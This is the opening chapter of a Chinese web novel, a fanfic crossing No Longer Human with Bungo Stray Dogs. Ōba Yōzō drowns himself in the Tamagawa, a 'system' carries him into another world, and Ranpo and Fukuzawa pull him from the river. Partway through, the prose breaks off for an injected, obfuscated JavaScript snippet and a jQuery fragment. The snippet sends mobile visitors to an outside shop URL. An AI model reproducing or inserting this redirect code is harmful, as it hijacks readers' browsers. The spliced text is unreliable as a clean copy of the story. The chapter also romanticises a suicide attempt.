《横滨偶像大庭叶藏君》


    晋江文学城/摇光星著


    第一章


    水中漂游，是一种什么感觉？


    铺天盖地的刺骨冷意席卷全身，细密的水分子无孔不入，浸润了浑身的每个角落，仿佛洗去躯体的一切残留的脏污。躯体随着玉川上水的柔波缓慢上下浮动，愈发沉重，又愈发轻盈。


    啊，真是久违了呀。


    上一次这样做，是好久以前的事情了。


    津岛修治先生在此地投水之际，是与我相似仿佛的感受吗？


    意识中诞生出这个念头的那一刻，在层层水波挣扎着挤破胸腔的莫大痛苦之中，大庭叶藏诡异地感受到了一股甘美之意。


    他在一日前，被脑海中突然出现一个声音告知，自己是一本小说的主人公。


    小说的名字叫作《人间失格》，作者是一位名叫津岛修治的文学家。他和叶藏有着相似的出身、性情、遭际……就连和女子相约于水中殉情的习惯也一模一样。


    合理推测，他是以自己的经历为蓝本，写就了《人间失格》也说不定。


    得知真相的那一刻，叶藏感受到的不是荒诞和虚无，而是久违的充实的幸福。他几乎要流出眼泪来了：真好啊，原来我经历的一切状似无病呻吟的痛苦，是被人深刻透彻地理解着、体悟着的啊。


    任何人看透大庭叶藏美好外皮下懦弱虚无的人类，都会让他陷入莫大的恐慌，唯独那一位津岛修治先生除外。


    因为他是此世界的造物主，是创造他的神明。


    世人和神明，两者是截然不同的。何况，为他倾注血肉的神明从不吝惜表达自己的垂怜。祂注视着、体察着叶藏的一举一动，就连一根羽毛坠落在心尖上的颤动都尽数知悉，并抱以无尽的理解和宽容。


    叶藏望着酒馆黑漆漆的、陈旧的天井，眼神像蒙了一层雾。他喃喃道：“津岛先生，津岛修治先生。”


    “小叶，是在念谁的名字呢？”风韵犹存的居酒屋老板款款走来，笑着往叶藏的空杯中斟满一杯菊正宗的清酒，唇边晏晏的笑意有些挂不住。


    修治？


    怎么像是个男人的名字？


    叶藏是这间酒店的熟客，与老板颇有说不清道不明的情分。老板自然谙熟他本不复杂的人际关系——彼此交心的男性友人是没有的，虚以为蛇的倒是有那么几个。


    被叶藏那样珍视爱重地反复念叨着名字的男人……坏了，小叶该不是会被坏男人骗了吧？！


    老板有意再打听，叶藏却将杯中酒一饮而尽。顶着周遭人们诧异的目光，站了起来，像是下定了决心般转身就走。


    酒馆诡异地安静了一瞬。


    老板、侍者、客人一齐凝望着那位模样清纯颓靡、风仪绝佳，有着鲜润嘴唇和高挺鼻梁的美少年、美男子。他们有的与叶藏打过照面，有的没有。此刻不约而同生出同样的感慨。


    ——真是道坚定的背影啊。


    与叶藏大多数时喝醉后颓然的、烂泥般的、挺不直背的落拓模样绝无肖似。简直，简直像要凛然赴死一般。


    “……”


    “……”


    不会吧？


    -


    漫长的跋涉之后，酒精随着汗液一起发出，叶藏此刻十分地清醒。他凝望着玉汩汩涌流的川上水，传说中那位津岛先生的身陨之处。


    【喂，等等，你不会是要……】


    那个告诉他所谓“真相”的脑内的声音再度响起。倒不如说，一路上它一直不停“滴滴滴”地响个不停，只是被沉浸于自己的思绪中的叶藏无视了而已。


    叶藏慢吞吞道：【不是。】


    【我只是想，体会下津岛先生那个时刻的感受罢了。】


    【哦哦，传说中的圣地巡礼，这个我知道。不过你也没必要真跳吧，要是感冒了怎么办？诶，话说你有没有听到我刚才说的话啊？我说我是新人生拯救系统，要带你走上崭新人生哟。经过系统的规划，发现最适合你的职业道路是……】


    冰冷的河水漫过耳蜗，世间的一切尘嚣湮灭于寂静。


    “……”


    叶藏确实有不可言说的想法，刚才所言只是为了安抚脑子里的声音罢了。它毕竟絮絮叨叨了一路，以他温柔体贴的性情，绝不是那种把他人的关心置之不理的人。


    但他也同样十分苦恼。


    为什么要说那么多真切的关心他的话啊，实在太让人难以招架。我可真是不擅长应对这种百分百好人。


    自顾自地说要拯救我？难道不是知道津岛修治先生——创造我的神明的存在，已经是一种拯救了吗？


    水波沉浮，叶藏越坠越深。


    【喂，喂喂，你听得到我说话吗？】


    【……】


    【…………】


    没有回答。


    系统感受到与叶藏之间的联系愈发微弱，哪里还不知道，人家刚才那句“不是”不过是一句骗他的胡话。


    好好好，这样玩是吧。


    趁着最后一丝联系未断的间隙，系统咬着牙挤出最后一丝声音：【你难道不想看看，那个有“津岛修治”的世界吗？】


    【……？】


    当然，此津岛修治并非是那位文豪先生，但也不能说毫无关联。嘛，但是谁让宿主先讲话哄我来着？


    系统飞快地抹平了心虚。


    它趁大庭叶藏的心思剧烈动摇之际，调度着全部力气，将他从昭和某年的日本，拖入了一个更加危险、更加璀璨、更加光怪陆离的世界。


    要在这个世界当偶像啊……简直地狱级难度吧……


    系统咬了咬牙。


    算了，总比真让宿主死了好！


    -


    是另一个世界。


    叶藏一刹那就感知到了。


    首先是周遭的水温变了，温暖得让人产生了一种近似泡在温泉中的错觉。其次是粼粼水波之间探入的阳光，像是热锅中散开的鸡蛋般的澄黄，大约是逢魔时刻？


    总之，种种现象昭彰着，这早已不是叶藏投入的玉川上水。


    【系统……？】


    叶藏第一次主动呼唤了脑海内的名字：【你把我带到了哪里？】


    【咳咳，这里当然是有津岛修治先生的世界啦！时间线大概在你那个时代的七十年后吧。】


    叶藏微微抿了抿唇，露出一点困扰的神色。实际上，他简直要尖叫出声了。


    七十年！


    要知道，他所在的时代往前推七十年，黑船才刚刚叩开日本的国门。


    天晓得，往后七十年的世界会是什么样？


    饶是大庭叶藏脾气一向好，又很能随遇而安，也被接二连三的转折冲击得尖锐又疲惫。但他想到的最过分的抵抗，也不过是闭上耳朵，把系统放置在一旁。


    是而，什么“异能力”，什么“人间失格”，什么“如野犬般寻找着归途的人们啊”……


    他一句都没有听进去。


    叶藏在水中吐了一串泡泡，又望着它们被一个一个被挤破的样子：啊，真想一直这样躺在河水里，不要被任何人发现。早在从前的世界，在世人面前掩藏自己的异样就让我吃尽了苦头。到了七十年后，岂不是处处都是破绽？


    好麻烦，好麻烦。


    会被围观吗？会被所有人注视吗？


    ……想想就难受得要死。


    可是偏偏叶藏的耳力好得要命，隔着一道鹤见川，仍能听到疑似是岸边的动响


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437040|141472||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “喂，社长！快看那里，鹤见川里飘了一个人诶——”


    “哇哇，他还在吐泡泡！我也要！”


    “乱步，你不会游泳，不可以乱学。掉进去的话我是不会救你的。”


    旋即响起的是另一个人无奈的叹息，和他越来越靠近的脚步声。


    ……拜托，你们千万不要过来啊。


    神明没有回应叶藏的祷告。叶藏很快被一道坚实的力道从河中捞到了岸上。救他的人甚至十分余裕地抖了抖叶藏身上的水滴。


    呜，好冷，好想打喷嚏。


    但是不可以。


    他还要装昏迷呢。


    在吹到岸上冷风的那一刻，叶藏就紧紧闭上了眼睛，逃避着与七十年后之人交谈的现实。


    “喂，别装啦。”


    “快点睁开眼睛！乱步大人明明看到你刚才吐泡泡了！”


    一根微热的手指，轻轻戳上叶藏柔软的脸颊，在上面按出一个小坑来。


    ……被发现了啊。


    叶藏不情不愿地睁开了眼。


    任何戳穿叶藏掩饰的行为，即使是再微不足道的，也会让他难堪不已。叶藏觉得自己简直像死过一次似的。虽然是救命恩人没错，但他睁开眼时，不能说没有别的情绪。


    叶藏迎面对上的是一双翠色的眼眸，宛如世上纯净深邃的绿松石。无机质的剔透，盯上任何人时都会使之心神一慑，被看透的恐慌之感油然而生。


    尤其是眼睛的主人，微微咧开了嘴，似乎发现了什么令人惊异之事：“啊！”


    乱步伸手就要抓叶藏的袖口，然而叶藏比他更快一步，低头飞快道了一声“多谢”之后踉跄着跑开。他抓到的只有一把空气。


    “……？”


    江户川乱步气鼓鼓地鼓起腮帮子，却没有追上去，嘟嘟囔囔道：“什么啊，名侦探明明想帮他一把的，他一点也不领情！哼，乱步大人不管了！”


    福泽谕吉凝视着叶藏快速消失在河道边的背影：“那个孩子有什么问题么？”


    是的，孩子。


    在三十岁前半的银狼阁下眼里，叶藏无论如何都只能被称呼为“孩子”。他骨架纤细，不太高档的和服下露出的胳膊也没有多少肉，反而有种不见日光的病态苍白。


    但短短的一句话中就能看出，他的日本语说得极为标准，敬语周到，发音还颇有古典之韵味，像是哪个落魄的名门之后。这样的孩子，在危机四伏的横滨，毫无疑问是生存不下去的。


    银狼阁下揉了揉眉心，怀疑自己在接收了乱步之后，对相似年龄小孩的同情心过于泛滥了。明明不久以前的他，可是个没有感情的杀手啊。


    “社长你放心好了。”江户川乱步忽然出声：“他会活得很好的。”


    他瘪着嘴，有点不服气的样子：“至少比以前的我要好多啦。”


    “那你刚才是……？”


    “啊。那个啊。”名侦探看破一切真相的眼睛微眨了眨：“乱步大人一共发现了两件事哦。第一件他好像不想让别人知道，所以躲着乱步大人跑掉了。第二件，倒是可以告诉社长你哦。”


    “他以后会成为了不得的大人物的。”


    了不得的大人物？


    三刻构想基石之一的福泽先生脑海中一瞬间闪过无数张议员政要的脸。


    江户川乱步一见就知道他在想什么，大叫道：“不是那种啦！社长真没想象力！”


    恰有风拂过，乱步注视着叶藏渐渐消失在河道边上的背影。叶藏的步子跨得很急，近乎落荒而逃。和服勾勒出他纤瘦的腰线，仅仅一个剪影，就有说不出数不清的秀色来。


    谁说红透世界的大明星、偶像，不算了不得的大人物呢？